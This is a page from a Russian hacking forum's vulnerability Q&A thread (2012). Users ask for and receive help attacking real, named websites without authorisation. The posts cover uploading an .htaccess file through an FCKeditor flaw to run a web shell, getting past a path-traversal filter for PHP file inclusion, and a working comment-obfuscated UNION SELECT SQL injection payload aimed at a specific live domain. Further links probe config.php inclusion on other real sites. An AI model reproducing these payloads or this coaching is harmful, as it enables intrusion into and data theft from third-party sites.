HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2184 из 2438 « Первая < 11841684208421342174 2180 2181 2182 2183 2184 2185 2186 2187 2188 219422342284 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #21831  
Старый 17.12.2012, 01:58
shramoff
Новичок
Регистрация: 15.12.2012
Сообщений: 1
С нами: 7057046

Репутация: 0
По умолчанию
Нужна Ваша помощь.

Нашел уязвимость на неком сайте в fckeditor. Можно заливать файлы все кроме php. Примечательно, что можно залить файл .htaccess даже. Я пробовал залить шелл с произвольным расширением в связке к примеру :

Код:
 ForceType application/x-httpd-php SetHandler application/x-httpd-php
Но, вот какая незадача, он вместо запуска скачивается.

Прошу Вашей помощи.

Ccылка на уязвимость

Ссылка на файлы загруженные через едитор

Вобщем думаю знатокам будет интересно. Жду Ваших советов
 
Ответить с цитированием

  #21832  
Старый 17.12.2012, 18:01
ReVOLVeR
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами: 10362626

Репутация: 327
По умолчанию
вопрос по htaccess

могу ли я выставлять права в фаиле htaccess

лежащем в деректории /var/html/www/1234

на директорию /var/html/www/12345

и как если да?
 
Ответить с цитированием

  #21833  
Старый 17.12.2012, 18:43
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от ReVOLVeR  
вопрос по htaccess
могу ли я выставлять права в фаиле htaccess
лежащем в деректории /var/html/www/1234
на директорию /var/html/www/12345
и как если да?
нет. Не можешь. Только на дочерние.
 
Ответить с цитированием

  #21834  
Старый 17.12.2012, 19:14
Qwert321
Новичок
Регистрация: 25.01.2009
Сообщений: 1
С нами: 9100829

Репутация: 0
По умолчанию
Как обойти фильтрацию для успешной PHP injection, если иклюдить файл, например:

http://site/vulnerable.php?file=inj.php

а надо

http://site/vulnerable.php?file=../../inj.php

+ фильтрация такова:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]]))[/COLOR][/COLOR] 
 
Ответить с цитированием

  #21835  
Старый 17.12.2012, 21:24
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от Qwert321  
Как обойти фильтрацию для успешной PHP injection, если иклюдить файл, например:
http://site/vulnerable.php?file=inj.php
а надо
http://site/vulnerable.php?file=../../inj.php
+ фильтрация такова:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]]))[/COLOR][/COLOR] 
Если сервер на Windows то может помочь обратный слэш\
 
Ответить с цитированием

  #21836  
Старый 17.12.2012, 21:38
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию
Как обойти фильтр union или select (как определить что именно фильтруется? group by нормально проходят)?

Не хочу быть навязчивым, но сейчас результат моего скрипта ~20 предполагаемых скулей(15 из них подтверждаются, но "наличие" скулей в youtube и hpc напрягает ) из 230 линков. Это нормальный показатель?

Заранее благодарен.
 
Ответить с цитированием

  #21837  
Старый 17.12.2012, 21:47
WendM
Познающий
Регистрация: 29.01.2012
Сообщений: 44
С нами: 7519286

Репутация: 3
По умолчанию
Цитата:
Сообщение от FunOfGun  
Как обойти фильтр union или select (как определить что именно фильтруется? group by нормально проходят)?
Может линк покажите?
 
Ответить с цитированием

  #21838  
Старый 17.12.2012, 21:51
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию
Цитата:
Сообщение от WendM  
Может линк покажите?
http://www.currents olutions.com/articles.php?id=8%20union%20select%201,2,3,4%20--
 
Ответить с цитированием

  #21839  
Старый 17.12.2012, 22:00
WendM
Познающий
Регистрация: 29.01.2012
Сообщений: 44
С нами: 7519286

Репутация: 3
По умолчанию
Цитата:
Сообщение от FunOfGun  
http://www.currents olutions.com/articles.php?id=8%20union%20select%201,2,3,4%20--
Собственно все просто, просто побольше читать...

Код:
http://www.currentsolutions.com/articles.php?id=99999.9+/*!union*/(select+1,2,3,4)+--+
 
Ответить с цитированием

  #21840  
Старый 18.12.2012, 14:34
0xd098d0b3d0
Познающий
Регистрация: 26.10.2012
Сообщений: 54
С нами: 7129046

Репутация: 0
По умолчанию
http://flowap.ru/download/index.php?...ile=config.php

Я так понимаю это php инж. Но файл кфг пустой, что дальше делать??

http://io.nios.ru/index.php?showpage&page=config.php

И вот тут подскажите что делать дальше
 
Ответить с цитированием
Ответ
Страница 2184 из 2438 « Первая < 11841684208421342174 2180 2181 2182 2183 2184 2185 2186 2187 2188 219422342284 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.